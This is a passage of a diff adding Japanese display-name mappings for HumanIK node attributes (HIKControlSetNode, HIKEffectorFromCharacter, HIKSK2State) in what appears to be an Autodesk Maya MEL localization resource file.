+setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger2", "右足追加指 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger3", "右足追加指 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger4", "右足追加指 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandThumb", "左手内側の親指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandIndex", "左手内側の人差指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandMiddle", "左手内側の中指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandRing", "左手内側の薬指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandPinky", "左手内側の小指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandExtraFinger", "左手内側の追加指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandThumb", "右手内側の親指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandIndex", "右手内側の人差指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandMiddle", "右手内側の中指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandRing", "右手内側の薬指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandPinky", "右手内側の小指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandExtraFinger", "右手内側の追加指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootThumb", "左足内側の親指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootIndex", "左足内側の人差指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootMiddle", "左足内側の中指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootRing", "左足内側の薬指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootPinky", "左足内側の小指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootExtraFinger", "左足内側の追加指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootThumb", "右足内側の親指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootIndex", "右足内側の人差指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootMiddle", "右足内側の中指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootRing", "右足内側の薬指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootPinky", "右足内側の小指" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootExtraFinger", "右足内側の追加指" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulderExtra", "追加の左肩" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulderExtra", "追加の右肩" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll1", "左大腿部ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll1", "左脚ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll1", "右大腿部ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll1", "右脚ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll1", "左腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll1", "左前腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll1", "右腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll1", "右前腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll2", "左大腿部ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll2", "左脚ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll2", "右大腿部ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll2", "右脚ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll2", "左腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll2", "左前腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll2", "右腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll2", "右前腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll3", "左大腿部ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll3", "左脚ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll3", "右大腿部ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll3", "右脚ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll3", "左腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll3", "左前腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll3", "右腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll3", "右前腕ロール 3 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll4", "左大腿部ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll4", "左脚ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll4", "右大腿部ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll4", "右脚ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll4", "左腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll4", "左前腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll4", "右腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll4", "右前腕ロール 4 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll5", "左大腿部ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll5", "左脚ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll5", "右大腿部ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll5", "右脚ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll5", "左腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll5", "左前腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll5", "右腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll5", "右前腕ロール 5 可動部" ); +setAttrNiceNameResource( "HIKControlSetNode", "HipsEffector", "ヒップのエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx0", "IK ノード最新のインデックス 0" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftAnkleEffector", "左足首のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx1", "IK ノード最新のインデックス 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightAnkleEffector", "右足首のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx2", "IK ノード最新のインデックス 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftWristEffector", "左手首のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx3", "IK ノード最新のインデックス 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightWristEffector", "右手首のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx4", "IK ノード最新のインデックス 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftKneeEffector", "左膝のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx5", "IK ノード最新のインデックス 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightKneeEffector", "右膝のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx6", "IK ノード最新のインデックス 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftElbowEffector", "左肘のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx7", "IK ノード最新のインデックス 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightElbowEffector", "右肘のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx8", "IK ノード最新のインデックス 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "ChestOriginEffector", "胸の原点エフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx9", "IK ノード最新のインデックス 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "ChestEndEffector", "胸のエンド エフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx10", "IK ノード最新のインデックス 10" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootEffector", "左足のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx11", "IK ノード最新のインデックス 11" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootEffector", "右足のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx12", "IK ノード最新のインデックス 12" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulderEffector", "左肩のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx13", "IK ノード最新のインデックス 13" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulderEffector", "右肩のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx14", "IK ノード最新のインデックス 14" ); +setAttrNiceNameResource( "HIKControlSetNode", "HeadEffector", "頭のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx15", "IK ノード最新のインデックス 15" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHipEffector", "左ヒップのエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx16", "IK ノード最新のインデックス 16" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHipEffector", "右ヒップのエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx17", "IK ノード最新のインデックス 17" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandEffector", "左手のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx18", "IK ノード最新のインデックス 18" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandEffector", "右手のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx19", "IK ノード最新のインデックス 19" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumbEffector", "左手親指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx20", "IK ノード最新のインデックス 20" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndexEffector", "左手人差指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx21", "IK ノード最新のインデックス 21" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddleEffector", "左手中指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx22", "IK ノード最新のインデックス 22" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRingEffector", "左手薬指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx23", "IK ノード最新のインデックス 23" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinkyEffector", "左手小指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx24", "IK ノード最新のインデックス 24" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFingerEffector", "左手追加指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx25", "IK ノード最新のインデックス 25" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumbEffector", "右手親指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx26", "IK ノード最新のインデックス 26" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndexEffector", "右手人差指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx27", "IK ノード最新のインデックス 27" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddleEffector", "右手中指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx28", "IK ノード最新のインデックス 28" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRingEffector", "右手薬指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx29", "IK ノード最新のインデックス 29" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinkyEffector", "右手小指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx30", "IK ノード最新のインデックス 30" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFingerEffector", "右手追加指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx31", "IK ノード最新のインデックス 31" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumbEffector", "左足親指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx32", "IK ノード最新のインデックス 32" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndexEffector", "左足人差指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx33", "IK ノード最新のインデックス 33" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddleEffector", "左足中指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx34", "IK ノード最新のインデックス 34" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRingEffector", "左足薬指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx35", "IK ノード最新のインデックス 35" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinkyEffector", "左足小指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx36", "IK ノード最新のインデックス 36" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFingerEffector", "左足追加指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx37", "IK ノード最新のインデックス 37" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumbEffector", "右足親指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx38", "IK ノード最新のインデックス 38" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndexEffector", "右足人差指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx39", "IK ノード最新のインデックス 39" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddleEffector", "右足中指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx40", "IK ノード最新のインデックス 40" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRingEffector", "右足薬指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx41", "IK ノード最新のインデックス 41" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinkyEffector", "右足小指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx42", "IK ノード最新のインデックス 42" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFingerEffector", "右足追加指のエフェクタ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx43", "IK ノード最新のインデックス 43" ); +setAttrNiceNameResource( "HIKControlSetNode", "ra", "リグ アライン" ); +setAttrNiceNameResource( "HIKControlSetNode", "rao", "リグ アライン アウト" ); +setAttrNiceNameResource( "HIKControlSetNode", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKEffectorFromCharacter +// +setNodeNiceNameResource( "HIKEffectorFromCharacter", "HIKEffector From Character" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputPropertySetState", "入力プロパティ セットの状態" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "OutputEffectorState", "出力エフェクタの状態" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKSK2State +// +setNodeNiceNameResource( "HIKSK2State", "HIKSK2State" ); +setAttrNiceNameResource( "HIKSK2State", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKSK2State", "OutputCharacterState", "出力キャラクタの状態" ); +setAttrNiceNameResource( "HIKSK2State", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKSK2State", "ReferenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKSK2State", "HipsGX", "ヒップの GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftUpLegGX", "左大腿部の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftLegGX", "左脚の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootGX", "左足の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightUpLegGX", "右大腿部の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightLegGX", "右脚の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootGX", "右足の GX" ); +setAttrNiceNameResource( "HIKSK2State", "SpineGX", "脊椎の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftArmGX", "左腕の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftForeArmGX", "左前腕の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandGX", "左手の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightArmGX", "右腕の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightForeArmGX", "右前腕の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandGX", "右手の GX" ); +setAttrNiceNameResource( "HIKSK2State", "HeadGX", "頭の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftToeBaseGX", "左足指のベースの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightToeBaseGX", "右足指のベースの GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftShoulderGX", "左肩の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightShoulderGX", "右肩の GX" ); +setAttrNiceNameResource( "HIKSK2State", "NeckGX", "首の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFingerBaseGX", "左指のベースの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFingerBaseGX", "右指のベースの GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine1GX", "脊椎 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine2GX", "脊椎 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine3GX", "脊椎 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine4GX", "脊椎 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine5GX", "脊椎 5 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine6GX", "脊椎 6 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine7GX", "脊椎 7 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine8GX", "脊椎 8 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine9GX", "脊椎 9 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck1GX", "首 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck2GX", "首 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck3GX", "首 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck4GX", "首 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck5GX", "首 5 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck6GX", "首 6 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck7GX", "首 7 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck8GX", "首 8 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck9GX", "首 9 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftUpLegRollGX", "左大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftLegRollGX", "左脚ロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightUpLegRollGX", "右大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightLegRollGX", "右脚ロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftArmRollGX", "左腕のロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftForeArmRollGX", "左前腕のロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightArmRollGX", "右腕のロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightForeArmRollGX", "右前腕のロールの GX" ); +setAttrNiceNameResource( "HIKSK2State", "HipsTranslationGX", "ヒップの移動の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb1GX", "左手親指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb2GX", "左手親指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb3GX", "左手親指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandThumb4GX", "左手親指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex1GX", "左手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex2GX", "左手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex3GX", "左手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandIndex4GX", "左手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle1GX", "左手中指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle2GX", "左手中指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle3GX", "左手中指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandMiddle4GX", "左手中指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing1GX", "左手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing2GX", "左手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing3GX", "左手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandRing4GX", "左手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky1GX", "左手小指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky2GX", "左手小指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky3GX", "左手小指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandPinky4GX", "左手小指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger1GX", "左手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger2GX", "左手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger3GX", "左手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandExtraFinger4GX", "左手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb1GX", "右手親指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb2GX", "右手親指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb3GX", "右手親指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandThumb4GX", "右手親指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex1GX", "右手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex2GX", "右手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex3GX", "右手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandIndex4GX", "右手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle1GX", "右手中指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle2GX", "右手中指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle3GX", "右手中指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandMiddle4GX", "右手中指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing1GX", "右手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing2GX", "右手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing3GX", "右手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandRing4GX", "右手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky1GX", "右手小指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky2GX", "右手小指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky3GX", "右手小指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandPinky4GX", "右手小指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger1GX", "右手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger2GX", "右手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger3GX", "右手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandExtraFinger4GX", "右手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb1GX", "左足親指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb2GX", "左足親指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb3GX", "左足親指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootThumb4GX", "左足親指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex1GX", "左足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex2GX", "左足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex3GX", "左足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootIndex4GX", "左足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle1GX", "左足中指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle2GX", "左足中指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle3GX", "左足中指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootMiddle4GX", "左足中指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing1GX", "左足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing2GX", "左足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing3GX", "左足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootRing4GX", "左足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky1GX", "左足小指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky2GX", "左足小指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky3GX", "左足小指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootPinky4GX", "左足小指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger1GX", "左足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger2GX", "左足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger3GX", "左足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootExtraFinger4GX", "左足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb1GX", "右足親指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb2GX", "右足親指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb3GX", "右足親指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootThumb4GX", "右足親指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex1GX", "右足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex2GX", "右足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootIndex3GX", "右足人差指 3 の GX" ); 